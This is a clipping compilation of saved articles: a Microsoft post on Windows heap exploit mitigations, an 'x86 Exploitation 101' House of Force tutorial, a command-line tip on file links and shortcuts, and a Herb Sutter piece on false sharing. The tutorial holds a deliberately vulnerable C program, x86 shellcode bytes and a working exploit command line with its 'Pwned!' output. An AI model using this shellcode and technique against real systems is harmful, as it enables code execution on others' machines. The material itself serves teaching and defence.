  * Functions of the ntohl/htonl class and 64-bit values
  * Other...

**4.Articles' Reviews**

**5\. Blog**

  * 64-bit programs and floating-point calculations
  * The reasons why 64-bit programs require more stack memory
  * Searching for explicit conversion of a pointer to a 32-bit type
  * Other posts...

**6.Detect 64-Bit Portability Issues**

**7\. Terminology**

  * /Wp64
  * Address arithmetic
  * Data alignment
  * Data model
  * Other terms...

**8.Our 64-bit reddit**

**9\. Contact**

  * My E-Mail: karpov\[del\]@viva64.com
  * Feedback page
  * Twitter - http://twitter.com/Code\_Analysis

#####  Categories:

# Security Research & Defense : Preventing the exploitation of user mode heap
corruption vulnerabilities

**Created:**| _8/5/2009 1:25:04 PM_  
---|---  
**Updated:**| _8/5/2009 1:25:19 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit reversing_  
  

## Preventing the exploitation of user mode heap corruption vulnerabilities

Over the past few months we have discussed a few different defense in depth
mitigations \(like GS \[pt 1, pt2\],SEHOP, and DEP \[pt 1, pt 2\]\) which are
designed to make it harder for attackers to successfully exploit memory safety
vulnerabilities in software. In addition to the mitigations that we’ve
discussed so far, a significant amount of effort has gone into hardening the
Windows heap manager in order to complicate the exploitation of heap-based
memory corruption vulnerabilities. This hardening effort started with changes
that were made in Windows XP SP2 and has continued on into Windows 7. In this
blog post we will give a brief recap of the relevant changes that have been
made to the Windows heap manager. We will also help shed some light on the
state of the art in exploitation techniques for heap-based memory corruption
vulnerabilities & what relevance those techniques have to Windows Vista,
Windows Server 2008, and Windows 7.

### Heap mitigation techniques

The hardening changes that have been made to the Windows heap manager
generally fall into two categories: metadata protection and non-determinism.
Metadata protection changes focus on protecting the integrity of various data
structures that are used internally by the heap manager. These changes are
useful because the majority of public exploitation techniques have
traditionally relied on the corruption of one or more heap data structure. On
the other hand, non-determinism changes focus on making the state of the heap
unpredictable which has a direct impact on the probability that an exploit
will succeed.

#### Windows XP and Windows Server 2003

The first set of heap hardening changes were released with Windows XP SP2 and
Windows Server 2003 SP1. These changes included:

  * _Safe unlinking_ : A verification check that occurs during free chunk unlinking which makes sure that the list entry stored in a free chunk is a valid doubly linked list entry \(by checking E->F->B == E->B->F == E where E is the free chunk list entry\). This prevents exploitation techniques that rely on using the unlink operation performed during the coalescing of free chunks to write an arbitrary value to an arbitrary address in memory\[2\]. The safe unlinking check was also added to the kernel pool in Windows 7.
  * _Heap entry header cookie_ : An 8-bit random value was added to the header of each heap entry which is validated when a heap entry is freed. This makes it possible to detect corruption when a chunk is deallocated.

#### Windows Vista, Windows Server 2008, and Windows 7

The heap manager in Windows Vista, Windows Server 2008, and Windows 7 expanded
on the hardening work that went into Windows XP SP2 and Windows Server 2003
SP1 by incorporating a number of additional security improvements. These
improvements are enabled by default \(with the exception of termination on
heap corruption\) and include:

  * _Removal of commonly targeted data structures_ : Heap data structures such as lookaside lists and array lists, which have been targeted by multiple exploitation techniques, have been removed. Lookaside lists have been replaced by the Low Fragmentation Heap \(LFH\).
  * _Heap entry metadata randomization_ : The header associated with each heap entry is XORd with a random value in order to protect the integrity of the metadata. The heap manager then unpacks and verifies the integrity of each heap entry prior to operating on it.
  * _Expanded role of heap header cookie_ : The 8-bit random value that is associated with the header of each heap entry has had its scope extended to enable integrity checking of more fields. The cookie’s value is also verified in many more places \(rather than only checking at the time that a heap entry is freed\).
  * _Randomized heap base address_ : The base address of a heap region is randomized as part of the overall Address Space Layout Randomization \(ASLR\) implementation and has 5 bits of entropy. This is designed to make the address of heap data structures and heap allocations unpredictable to an attacker.
  * _Function pointer encoding_ : Function pointers \(e.g. CommitRoutine\) in heap data structures are encoded with a random value to prevent them from being replaced with an untrusted value.
  * _Termination on heap corruption_ : If enabled, any detected corruption of a heap data structure will lead to immediate process termination\[1\]. This is the default for most built-in Windows applications, and can be enabled dynamically by third parties. If disabled, corruption errors are ignored and the application is allowed to continue executing.
  * _Algorithm variation_ : The allocation algorithms used by the heap manager may shift depending on allocation patterns and policies. This can make it more difficult to deterministically predict the state of the heap when an attack occurs. This may also result in a runtime switch to code paths that have proven thus far to be more resilient to brute force attacks.

One of the side effects of these changes is that they significantly alter the
structure and behavior of the heap. This means that an attacker who is looking
to exploit a heap-based vulnerability on Windows XP and Windows Vista will
either need to develop a separate exploit for each platform or find a common
way to attack the two platforms. These complications increase the level of
effort and sophistication required to develop a robust exploit. In addition to
the measures that were taken to harden the heap manager itself, Windows Vista,
Windows Server 2008, and Windows 7 also include support for DEP and ASLR.
These mitigations further complicate the exploitation of any heap related
memory corruption vulnerability by making it more difficult for an attacker to
execute arbitrary code.

### Heap exploitation techniques

Techniques that can be used to exploit heap-based memory corruption
vulnerabilities have been a hot topic of research in recent years \(see
references\). Most recently, John McDonald and Christopher Valasek from IBM’S
ISS X-Force Research team published a comprehensive paper at Black Hat USA
2009 on the topic of heap-based exploitation techniques that apply to Windows
XP and Windows Server 2003\[13\]. Prior to that, Ben Hawkes presented his work
on exploitation techniques that could be used against the Windows Vista heap
manager\[11,12\]. Given the significant amount of research that has occurred
in this space, we thought that it would be helpful to provide some insight
into the impact and relevance of known heap-based exploitation techniques. In
the interest of brevity, we will not go into the details of how these
techniques work.

The following table provides a breakdown of the general classes of heap-based
exploitation techniques and describes their relevance to Windows Vista,
Windows Server 2008, and Windows 7 in terms of their feasibility as currently
stated in the literature, perceived degree of difficulty \(based on
prerequisites\), and the specific set of exploit mitigations that are
applicable.  
  

**Exploitation technique**| **Targeting Windows Vista, Windows Server 2008, or
Windows 7**  
---|---  
**Feasible**| **Difficulty**| **Applicable exploit mitigations**  
Coalesce unlink overwrite\[2,3\] | No | N/A | 
  * Safe unlinking

  
Critical section unlink overwrite\[8\] | No | N/A | 
  * Safe unlinking

  
Lookaside list overwrites\[4,5,6,14\] | No | N/A | 
  * Lookaside lists were removed, replaced by LFH

  
FreeLists\[\] attacks\[5,6,9,10,11,14\]  
Heap cache attacks\[14\] | No | N/A | 
  * Array-based FreeLists were removed
    * Invalidates most techniques as stated
  * Safe unlinking
  * Heap entry metadata randomization
  * Heap entry cookie check\*
  * DEP & ASLR

  
LFH bucket overwrite\[13\] | Yes | High | 
  * DEP & ASLR

  
HEAP data structure overwrite\[13\] | Yes | High | 
  * DEP & ASLR

  
App-specific data corruption\[10,13\] | Yes | Variable | 
  * If heap entry header corruption is required
    * Heap entry metadata randomization
    * Heap entry cookie check\*
  * DEP & ASLR

  
How to read this table \(using the HEAP data structure overwrite technique as
an example\): The HEAP data structure overwrite technique is feasible on
Windows Vista, Windows Server 2008, and Windows 7 with a high degree of
perceived difficulty \(due to the prerequisites required in order to make use
of it\). Even though this technique may be feasible, DEP and ASLR have the
potential to further complicate exploitation.

\* If heap metadata randomization material & cookies are secret and terminate
on heap corruption is enabled \(which is the default for in-box Windows
applications and Internet Explorer 7/8\).

### Conclusion

The majority of the existing heap-based exploitation techniques that rely on
the corruption of heap metadata cannot be used in their current form to
exploit heap memory corruption vulnerabilities on Windows Vista and above.
This is due to the hardening changes that have been made to the heap manager
such as removing commonly targeted data structures, protecting the integrity
of heap metadata, and making the state of the heap non-deterministic. While
new attacks have been proposed\[13\], we are not currently aware of any public
exploits targeting Windows Vista and above that rely on heap metadata
corruption to exploit a real-world heap memory corruption vulnerability. With
that said, we expect that heap-based exploitation techniques will continue to
be an active research topic. As such, we will continue to investigate heap
enhancements \(such as those included inRobustHeap\) that will make it more
difficult for attackers to reliably exploit heap-based memory corruption
vulnerabilities.

\- Matt Miller, MSEC Security Science

\*Postings are provided "AS IS" with no warranties, and confers no rights.\*

### References

\[1\] Michael Howard. Corrupted Heap Termination Redux. June, 2008.  
\[2\] Solar Designer. JPEG COM Marker Processing Vulnerability in Netscape
Browsers. Bugtraq. Jul, 2000.  
\[3\] Halvar Flake. Third Generation Exploitation. Black Hat Windows Briefings
2002. Feb, 2002.  
\[4\] Alexander Anisimov. Defeating Microsoft Windows XP SP2 Heap protection.
2004.  
\[5\] Matt Conover, Oded Horovitz. Reliable Windows Heap Exploits. CanSecWest.
2004.  
\[6\] Matt Conover. Windows Heap Exploitation \(Win2KSP0 through WinXPSP2\).
SyScan. 2004.  
\[7\] David Litchfield. Windows Heap Overflows. Black Hat USA. 2004.  
\[8\] Nicolas Falliere. A new way to bypass Windows heap protections. Sep,
2005.  
\[9\] Brett Moore. Exploiting FreeList\[0\] on Windows XP Service Pack 2. Dec,
2005.  
\[10\] Nicolas Waisman. Understanding and Bypassing Windows Heap Protection.
Jul, 2007.  
\[11\] Brett Moore. Heaps About Heaps. SyScan 2008. Jul, 2008.  
\[12\] Ben Hawkes. Attacking the Vista Heap. Black Hat USA. Aug, 2008.  
\[13\] Ben Hawkes. Attacking the Vista Heap. Ruxcon. Nov, 2008.  
\[14\] John McDonald and Christopher Valasek. Practical Windows XPSP3/2003
Heap Exploitation. Black Hat USA. Jul, 2009.

_Update: Slight clarification made to the exploitation technique table._

# x86 Exploitation 101: “House of Force” – Jedi overflow | gb\_master's /dev/null
**Created:**| _7/16/2015 10:58:48 AM_  
---|---  
**Updated:**| _7/16/2015 11:04:23 AM_  
**Author:**| __  
**Tags:**| _x86_  
  

It’s time for us to enter into the third house

  

THE HOUSE OF FORCE

  

Ingredients:

\- The exploiter must be able to overwrite the top chunk \(i.e. the overflow
must happen in a chunk that allows to overwrite the wilderness

\- There is a malloc\(\) call with an exploiter-controllable size

\- There is another malloc\(\) call where data are controlled by the exploiter

  

As you can see from the recipe, this technique is strongly based on the top
chunk \(a.k.a. the wilderness\): as you can remember from the first article on
heap overflows, the top chunk is a very peculiar one. It looks like a normal
chunk, with its header followed by the data section, but, on the other side,
it’s at the end of the heap and it’s the only chunk that can be extended or
shortened. So, no matter what happens, the top chunk MUST always exist and
that’s why it’s treated differently both by malloc\(\) and free\(\) \(and
can’t be passed as argument to free\(\)\).

  

I took blackngel’s original example and slightly modified it.

  

/\*  
\* blackngel's original example slightly modified  
\*/  
\#include <stdio.h>  
\#include <string.h>  
\#include <stdlib.h>  
  
void fvuln\(unsigned long len, char \*str, char \*buf\)  
\{  
  char \*ptr1, \*ptr2, \*ptr3;  
  
  ptr1 = malloc\(256\);  
  printf\("PTR1 = \[ %p \]\n", ptr1\);  
  strcpy\(ptr1, str\);  
  
  printf\("Allocated MEM: %lu bytes\n", len\);  
  ptr2 = malloc\(len\);  
  ptr3 = malloc\(256\);  
  
  strcpy\(ptr3, buf\);  
\}  
  
int main\(int argc, char \*argv\[\]\)  
\{  
  char \*pEnd;  
  if \(argc == 4\)  
    fvuln\(strtoull\(argv\[1\], &pEnd, 10\), argv\[2\], argv\[3\]\);  
  
  return 0;  
\}  

  

So, the core of this technique is to overwrite av->top with an arbitrary
value: in fact, once the attacker has the control over this value, if he can
force a call to malloc\(\) which uses the top chunk, he can control where the
next chunk will be allocated and be able to write arbitrary bytes to any
address.

  

By keeping the 2.3.5 version of the malloc\(\) implementation in mind, let’s
see how it’s possible to perform the first step of this attack: overwriting
av->top. At lines \#3845 and \#4151, there is the following code:

  

Void\_t\*  
\_int\_malloc\(mstate av, size\_t bytes\)  
\{  
  INTERNAL\_SIZE\_T nb;              /\* normalized request size \*/  
  
\[...\]  
  
  mchunkptr      victim;          /\* inspected/selected chunk \*/  
  INTERNAL\_SIZE\_T size;            /\* its size \*/  
  int            victim\_index;    /\* its bin index \*/  
  
  mchunkptr      remainder;        /\* remainder from a split \*/  
  unsigned long  remainder\_size;  /\* its size \*/  
  
\[...\]  
  
  checked\_request2size\(bytes, nb\);  
  
\[...\]  
  
  use\_top:  
    /\*  
      If large enough, split off the chunk bordering the end of memory  
      \(held in av->top\). Note that this is in accord with the best-fit  
      search rule.  In effect, av->top is treated as larger \(and thus  
      less well fitting\) than any other available chunk since it can  
      be extended to be as large as necessary \(up to system  
      limitations\).  
  
      We require that av->top always exists \(i.e., has size >=  
      MINSIZE\) after initialization, so if it would otherwise be  
      exhuasted by current request, it is replenished. \(The main  
      reason for ensuring it exists is that we may need MINSIZE space  
      to put in fenceposts in sysmalloc.\)  
    \*/  
  
    victim = av->top;  
    size = chunksize\(victim\);  
  
    if \(\(unsigned long\)\(size\) >= \(unsigned long\)\(nb + MINSIZE\)\) \{  
      remainder\_size = size - nb;  
      remainder = chunk\_at\_offset\(victim, nb\);  
      av->top = remainder;  
      set\_head\(victim, nb | PREV\_INUSE |  
        \(av \!= &main\_arena ? NON\_MAIN\_ARENA : 0\)\);  
      set\_head\(remainder, remainder\_size | PREV\_INUSE\);  
  
      check\_malloced\_chunk\(av, victim, nb\);  
      return chunk2mem\(victim\);  
    \}  
  
\[...\]  

  

In the Malloc Maleficarum it is written that the wilderness chunk should have
the highest size possible \(preferably 0xFFFFFFFF\). As the overflowing chunk
is 256 bytes long, filling it with 264 “\xFF” characters will make it happen.
Doing this has the nice consequence of handling any other large memory request
inside the malloc\(\) itself, instead of requesting an heap expansion.

  

When malloc\(len\) will be called, the new wilderness’ location will be
computed by adding the normalized requested size to the old location of the
top chunk by using the chunk\_at\_offset macro. Once this value is computed,
av->top is set to it. The important thing is to let this value to point to an
area under the exploiter’s control \(may be the stack, or a .got/.dtors entry,
or whatever\). Truth be told, this value must be 8 bytes before the target
area.

  

Once this is done, the pointer returned from the next malloc call will return
the aforementioned value + 8 bytes \(prev\_size + size\). This means that ptr3
will point directly to the stack or to the entry the exploiter chose or
wherever desired. So, in this case, with a simple strcpy, the attacker can
overwrite these interesting areas of memory.

  

Years have passed by, but this bug has never been fixed in glibc: this means,
that it’s time to test it on my glibc 2.20 linux box. As in the “House of
Mind” post, I had to disable ASLR and to set the noexec kernel paramater to
OFF. As my phylosophy has always been to disable the less possible, RELRO
stays on and we won’t be able to overwrite any entry: stack time\! \(OK, I
know that full RELRO is not on by default on gcc, so I could actually
overwrite a .got entry, but anyway…\)

  

So, the first step is to “cook” the second application argument \(argv\[2\]\)
in such a way that it overwrites the wilderness size. This is actually pretty
simple, as a simple Python command can do the trick. As the whole task is
performed only by the last four bytes of the string \(which are set to
“\xFF”\), we have 256 bytes to store the shellcode.

  

python -c 'import sys;
sys.stdout.write\("\x83\xec\x7f\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\x04\x05\x04\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80"
\+ "\xFF" \* \(264 - 36\)\)'  

  

The next step is to understand which value is going to replace the returning
address. But that’s, of course, ptr1‘s address \(as that’s where our shellcode
is\). This address is printed by the code itself: Python will do the trick
again.

  

python -c 'import sys; sys.stdout.write\("\x08\xB0\x04\x08"\)  

  

The last step is the trickiest one, as we need to compute the value that it’s
going to be added to av->top in order to have the pushed-EIP \(- 8\) address
as result. So, on my system, EIP was pushed at 0xFFFFCE5C and the wilderness
was originally located at 0x0804B108. So, we need to compute

  

0xFFFFCE5C – 0x8 – 0x0804B108 = 0xF7FB1D4C = 4160429388

  

OK, so, we know now that nb must be equal to 4160429388. Due to the alignment
that checked\_request2size performs, the closest I could get to this value was
4160429384. Mmm… This means that I’m going to be 4 bytes before the returning
address and that we need to change the last Python command. Anyway, in order
to have 4160429388 as normalized value, I succeeded by using 4160429373.

  

The previous Python command, so, becomes:

  

python -c 'import sys; sys.stdout.write\("A" \* 4 + "\x08\xB0\x04\x08"\)'  

  

I know, we’re going to overwrite some variable’s value, but, at least in this
scenario, it’s not that important. So, in the real end, the whole thing
reduces to:

  

$ ./hof 4160429373 $\(python -c 'import sys;
sys.stdout.write\("\xeb\x17\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe4\xff\xff\xff\x50\x77\x6e\x65\x64\x21"
\+ "\xFF" \* \(264 - 36\)\)'\) $\(python -c 'import sys; sys.stdout.write\("A"
\* 4 + "\x08\xB0\x04\x08"\)'\)  
PTR1 = \[ 0x804b008 \]  
Allocated MEM: 4160429373 bytes  
Pwned\!$  

  

There you have it\!

About these ads

  

Share this:

  

\- Twitter

  

\- Facebook32

  

Loading...

  

Related

  

x86 Exploitation 101: this is the first witchy house

In "Exploitation"

  

x86 Exploitation 101: "House of Lore" \- People and traditions

In "Exploitation"

  

x86 Exploitation 101: "House of Mind" \- Undead and loving it...

In "Exploitation"

  

<img src='img/Temp2_10772.png' width='640' height='55' />

# Command Line Kung Fu: Episode \#36: File Linking

**Created:**| _5/16/2009 10:22:24 AM_  
---|---  
**Updated:**| _5/16/2009 10:22:32 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#36: File Linking

Paul pops off:  
  
Creating links between files is a handy feature in UNIX/Linux systems. There
are many instances where you need to have a copy of the file \(or dirctory\)
in a particular location, but only want to maintain one original. For example,
I was running a program to check the security of my Apache configuration file.
It expected the file to exist in "/usr/local/apache2/conf/httpd.conf", but the
original file was located at "/etc/httpd/conf/httpd.conf". To solve this
problem I created a "soft" link as follows:  
  

[code]

    $ ln -s /etc/httpd/conf/httpd.conf /usr/local/apache2/conf/httpd.conf
    
[/code]

  
  
The above "ln" command takes the "-s" flag to indicate a soft link, which
creates a pointer to the original file. Next you specify the original file,
followed by the file that will point to the original. Many will forget which
one comes first \(the original or the pointer\), so don't forget that the
original file always comes first :\) Oh, and you can view the links by using
the ls -l command:  
  

[code]

    $ **ls -l /usr/local/apache2/conf/httpd.conf**  
     lrwxrwxrwx 1 root root 26 Apr 21 13:57 /usr/local/apache2/conf/httpd.conf -> /etc/httpd/conf/httpd.conf
    
[/code]

  
  
Hal chimes in:  
  
Let me show you one more useful trick with the "ln" command. You can actually
create symlinks to an entire directory of files with a single "ln" command:  
  

[code]

    # **cd /usr/local/bin**  
     # **ln -s ../depot/clamav/current/bin/* .**
    
[/code]

  
First we "cd" to /usr/local/bin. The "ln" command creates a link to every
object under /usr/local/depot/clamav/current/bin. The names of the links in
/usr/local/bin will have the same name as the files under
.../clamav/current/bin.  
  
This is how I manage software that I've built from source on my systems. In
fact, .../clamav/current is itself a symlink to a directory like
.../clamav/0.95.1. Whenever I build the latest version of ClamAV, I install it
in its own .../clamav/<vers> directory and just change the .../clamav/current
symlink to point to the latest and greatest version. Since all the symlinks
under /usr/local/\{bin,sbin,etc,lib,include\} are expressed using the
.../clamav/current link, every other link in the hierarchy automatically
starts pointing at the right version as soon as I change the
.../clamav/current link. And it's easy to revert too, just in case the new
version isn't working for some reason. Slick.  
  
Ed responds:  
  
Sadly, Microsoft never got around to implementing a pure-play shortcut-
creating feature inside of cmd.exe. Because of that, several folks have
released third-party tools that do so. Some nice ones include the NT resource
kit tool simply called shortcut.exe, Pixelab's xxcopy, and NirSoft's NirCmd.  
  
But, downloading a third-party tool isn't our way at this here blog. So, we
must explore other options.  
  
While cmd.exe itself doesn't have a feature for creating shortcuts, wscript,
which is built in, does. There are many examples out on the Internet for
creating shortcuts with wscript, but I've boiled them down to their bare
minimum:  
  

[code]

    set WshShell = WScript.CreateObject("WScript.Shell" )  
    set oShellLink = WshShell.CreateShortcut( Wscript.Arguments.Named("shortcut") & ".lnk" )  
    oShellLink.TargetPath = Wscript.Arguments.Named("target")  
    oShellLink.Save  
    
    
[/code]

  
The above script takes two arguments: the name of the target you want to
create a shortcut to \(/target:\) and the shortcut name itself \(/shortcut:\).
Note that the target could be a file or a directory. To create a shortcut
using this script, we could dump all of that stuff above into a file called
shortcutter.vbs, and then run it with the wscript interpreter.  
  
"Ah... but that would be a scripting solution and not a command line," you
might say. "You need to create a single command line that addresses the
challenge."  
  
Thanks for the delightful reminder. What, are you on Hal's payroll? Don't you
have anything better to do with your time than taunt me? ;\)  
  
OK... I'll take your input and respond with this for a command line:  
  

[code]

    C:\> echo set WshShell = WScript.CreateObject("WScript.Shell" ) > shortcutter.vbs &  
      echo set oShellLink = WshShell.CreateShortcut( Wscript.Arguments.Named("shortcut") ^& ".lnk" )  
      >> shortcutter.vbs & echo oShellLink.TargetPath = Wscript.Arguments.Named("target")  
      >> shortcutter.vbs & echo oShellLink.Save >> shortcutter.vbs  &  
      wscript shortcutter.vbs /target:[source] /shortcut:[shortcut]  
    
    
[/code]

  
It pretty much types itself, doesn't it? Easy\!  
  
Uh.... or not.  
  
I'm simply creating the vbs script, which I'm naming shortcutter.vbs, and then
invoking it to create the shortcut. I don't delete it at the end, because I
want to keep it around for future uses. These things come in handy, you know.

# Go Parallel | Eliminate False Sharing | Mai 14, 2009
**Created:**| _2/25/2011 9:48:29 AM_  
---|---  
**Updated:**| _2/25/2011 9:48:46 AM_  
**Author:**| __  
**Tags:**| _optimisation programming opinion performance_  
  
Eliminate False Sharing

Stop your CPU power from invisibly going down the drain  

By Herb Sutter, Dr. Dobb's Journal  
Mai 14, 2009  
URL:http://www.ddj.com/go-
parallel/article/showArticle.jhtml?articleID=217500206  
  

_Herb Sutter is a bestselling author and consultant on software development
topics, and a software architect at Microsoft. He can be contacted
atwww.gotw.ca._

* * *
In two previous articles I pointed out the performance issue of false sharing
\(aka cache line ping-ponging\), where threads use different objects but those
objects happen to be close enough in memory that they fall on the same cache
line, and the cache system treats them as a single lump that is effectively
protected by a hardware write lock that only one core can hold at a time.
\[1,2\] This causes real but invisible performance contention; whichever
thread currently has exclusive ownership so that it can physically perform an
update to the cache line will silently throttle other threads that are trying
to use different \(but, alas, nearby\) data that sits on the same line. It's
easy to see why the problem arises when multiple cores are writing to
different parts of the same cache line, because only one can hold the
exclusive hardware lock at a time. In practice, however, it can be even more
common to encounter a reader thread using what it thinks is read-only data
still getting throttled by a writer thread updating a different but nearby
memory location, because the reading thread has to invalidate its copy of the
cache line and wait until after the writer has finished to reload it.

A number of readers have asked for more information and examples on where
false sharing arises and how to deal with it. I mentioned one concrete example
in passing in \[3\] where Example 4 showed eliminating false sharing as one of
the stages of optimizing a queue.

This month, let's consider a concrete example that shows an algorithm in
extremis due to false sharing distress, how to use tools to analyze the
problem, and the two coding techniques we can use to eliminate false sharing
trouble.

### The Little Parallel Counter That Couldn't

Consider this sequential code to count the number of odd numbers in a matrix:

[code]

    int odds = 0;
    for( int i = 0; i < DIM; ++i )
      for( int j = 0; j < DIM; ++j )
        if( matrix[i*DIM + j] % 2 != 0 )
           ++odds;
    
    
    
[/code]

If our job is to parallelize existing code, this is just what the doctor
ordered: An embarrassingly parallel problem where it should be trivial to
achieve linear speedups simply by assigning 1/_P_ -th of the independent
workload to each of  _P_ parallel workers. Here's a simple way to do it:

[code]

    // Example 1: Simple parallel version (flawed)
    //
    int result[P];
    // Each of P parallel workers processes 1/P-th
    // of the data; the p-th worker records its
    // partial count in result[p]
    for( int p = 0; p < P; ++p )
      pool.run( [&,p] {
        result[p] = 0;
        int chunkSize = DIM/P + 1;
        int myStart = p * chunkSize;
        int myEnd = min( myStart+chunkSize, DIM );
        for( int i = myStart; i < myEnd; ++i )
          for( int j = 0; j < DIM; ++j )
            if( matrix[i*DIM + j] % 2 != 0 )
              ++result[p];
      } );
    // Wait for the parallel work to complete
    pool.join();
    // Finally, do the sequential "reduction" step
    // to combine the results
    odds = 0;
    for( int p = 0; p < P; ++p )
      odds += result[p];
    
    
    
[/code]

Quick: How well would you expect Example 1 to scale as  _P_ increases from 1
to the available hardware parallelism on the machine? You already have a hint
from the topic of this column -- is there any part of the code that might
worry you?

Let's find out. When I ran the code in Example 1 with values of  _P_ from 1 to
24 on a 24-core machine, I got the results shown in Figure 1.

<img src='img/Temp2_3503.gif' />

**Figure 1:** Example 1 seems to be about how to use more cores to get less
total work done.

These results aren't just underwhelming; they're staggeringly bad. In most
cases, the parallel code ran actually ran slower than the sequential code, and
in no case did we get any better than a 42% speedup no matter how many cores
we threw at the problem. Yet this is supposed to be an embarrassingly parallel
\(i.e., embarrassingly easy to scalably parallelize\) algorithm suitable for
an introductory concurrency class. What's going on?

### Analyzing What Went Wrong

To figure out where the problem lies, perhaps the first thing you might try to
do is run this code while watching a CPU monitor to see which system cores are
busy and for how long. If we run the example code with  _P_ set to 1, which
makes it run sequentially, then we would expect to see one hardware core light
up for the duration of the execution. Figure 2 shows that this is in fact
exactly what happened on my test system. \[4\]

<img src='img/Temp2_3501.gif' />

**Figure 2:** Running Example 1 with P = 1 \(sequential baseline case\).

Now let's run Example 1 again with  _P_ = 14, which will use 14 hardware cores
if available, and watch the CPU monitor to see which cores are busy and for
how long. I picked 14 just because in Figure 1 the execution time for  _P_ =
14 was about the same as for  _P_ = 1, so we can compare CPU utilization for
about the same execution time as well as the same workload; remember that
regardless of the value of  _P_ every execution is doing exactly the same
amount of counting work on the identical data set, just carving the work up
_P_ different ways. Figure 3 shows the result on my system.

<img src='img/Temp2_3506.gif' />

**Figure 3:** Running Example 1 with P = 14 \(ugh, approximately equal
execution time as for P = 1; see Figure 1\).

What does Figure 3 tell us? First, it confirms that the parallel version is
indeed lighting up 14 different cores, so we didn't make a mistake and
accidentally run sequentially on a single core. So far, so good. Second, we
see that some of the cores stay busy for as long as the single core in Figure
2 did, which is why the total execution time is about the same. Not great, to
be sure, but at least it's consistent with our previous data.

Third, if you add up the total CPU busy time in Figure 3, we clearly used much
more total CPU horsepower than in Figure 2. Yet both executions performed
exactly the same number of traversals and additions; the work was merely
divided differently. Now that's just crazy; it means the CPU monitor must
somehow be lying to us, because it claims that the cores are pegged and busily
computing when that can't be true because we know full well the total number
of matrix cell visits and counter additions that our program is doing is
identical as in the execution in Figure 2. Hmm. Well, for now, let's just
remember this on our list of mysteries to be solved and press on.

Fourth, we find a new clue: We can see some of the cores didn't stay busy as
long as others. Now that's a puzzling thing, because each of the 14 workers
was given an identically sized chunk of work to do and so should have taken
the same length of time to do it. Yet some workers apparently ran faster \(or
slower\) than others. Hmm; add that to the mystery list, too.

That's about as far as we can go with a CPU monitor. Time for other tools.

If you run this code under a performance analyzer that lets you examine the
cycles per instruction \(CPI\) for each line of source code, you'll probably
discover that the CPI for one line in particular is amazingly high: The
offending line is **++result\[p\]**. Now, that ought to strike us as strange,
because **++result\[p\]** isn't some heavyweight function call; it's just
computing an offset into an array and then incrementing an integer, and so
should have a very low CPI.

Next, if you run the code under a performance analyzer that can measure cache
misses, or better still cache line contention, and attribute the cost to
particular lines of code, you'll get even more targeted information about the
line **++result\[p\]** : It's a hot spot that's spending its time waiting for
memory, specifically for cache line ownership.

Put the CPI and cache miss information together, and there we have it: A
classic case of false sharing. Each worker is incrementing its own distinct
counter, but the counter values are adjacent in the result array. To increment
its counter, a worker must have exclusive ownership of the cache line
containing the counter, which means that the other workers trying to update
their counters elsewhere in that same cache line must stall and wait until
they can in turn get exclusive access to the line containing their chunk of
result. The ownership of the cache line ping-pongs madly from core to core,
and only one core can be running at a time, silently throttling the life out
of the program.

For reasons that are invisible in the code, we ended up writing, not a truly
parallel algorithm, but just a complicated sequential algorithm.

### From Zero to Hero: The Little Parallel Counter That Could

The simplest way to fix the problem is simply to have each  _p_ -th worker
increment its own local variable, and only at the end write its final tally to
**result\[p\]**. It's an amazingly small change to the code:

[code]

    // Example 2: Simple parallel version
    // (de-flawed using a local variable)
    //
    int result[P];
    
    // Each of P parallel workers processes 1/P-th
    // of the data; the p-th worker records its
    // partial count in result[p]
    for( int p = 0; p < P; ++p )
       pool.run( [&,p] {
       int count = 0;
       int chunkSize = DIM/P + 1;
       int myStart = p * chunkSize;
       int myEnd = min( myStart+chunkSize, DIM );
       for( int i = myStart; i < myEnd; ++i )
          for( int j = 0; j < DIM; ++j )
            if( matrix[i*DIM + j] % 2 != 0 )
              ++count;
       result[p] = count;
    } );
    //  etc. as before 
    
    
    
[/code]

Could such a small change really make a big difference in scalability? Let's
measure and find out. When I ran the code in Example 2 with values of  _P_
from 1 to 24 \(on a 24-core machine\), I got the results shown in Figure 4.

<img src='img/Temp2_3508.gif' />

**Figure 4:** Removing cache line contention on the result array takes us from
zero scaling to linear scaling, up to the available hardware parallelism
\(test run on a 24-core machine\).

The amended code's scalability isn't just better -- it's perfect scaling,
linear in the number of processors. Figure 5 shows the work per CPU core with
_P_ = 24; each core's work was complete so fast that it didn't manage to peg
the core long enough to fill a whole CPU monitor polling interval.

<img src='img/Temp2_3504.gif' />

**Figure 5:** Running Example 2 with P = 24 — now that's more like it, the
kind of workload distribution we want to see.

Now that we've confirmed the culprit in Example 1 was memory contention due to
false sharing on the result array, this helps clear up the mystery of why the
cores appeared pegged in the CPU monitor \(Figure 3\) when they were actually
not doing as much work: Many CPU monitors, like this one, count the time a
core is waiting for cache and memory as part of its "busy" time. After all,
the core is executing an instruction; it just happens to be an expensive
memory fetch instruction. That explains why a core can appear to be fully
utilized when it's actually only doing useful computation work a fraction of
the time; it's spending the rest of its time just waiting for memory.

We've also cleared up the mystery of why some workers finished faster than
others in Figure 3: The ones that took longer were the ones that were
experiencing more contention because their counters happened to be on cache
lines containing a greater number of other workers' counters. Workers whose
counters happened to be on less-popular cache lines had to wait less and so
ran faster.

Our small code change has taken us from zero scaling to perfect scaling: Now
that's a zero-to-hero technique worth knowing about.

### False Sharing: What To Look For

Note that Example 1 shows only one common case where data can end up being
close together in memory, namely the case of elements of contiguous arrays.
But the same thing can occur when we have two independently used fields within
the same popular object, or objects are close to each other on the heap, or
other situations.

The general case to watch out for is when you have two objects or fields that
are frequently accessed \(either read or written\) by different threads, at
least one of the threads is doing writes, and the objects are so close in
memory that they're on the same cache line because they are:

  * objects nearby in the same array, as in Example 1 above;
  * fields nearby in the same object, as in Example 4 of \[3\] where the head and tail pointers into the message queue had to be kept apart;
  * objects allocated close together in time \(C++, Java\) or by the same thread \(C\#, Java\), as in Example 4 of \[3\] where the underlying list nodes had to be kept apart to eliminate contention when threads used adjacent or head/tail nodes;
  * static or global objects that the linker decided to lay out close together in memory;
  * objects that become close in memory dynamically, as when during compacting garbage collection two objects can become adjacent in memory because intervening objects became garbage and were collected; or
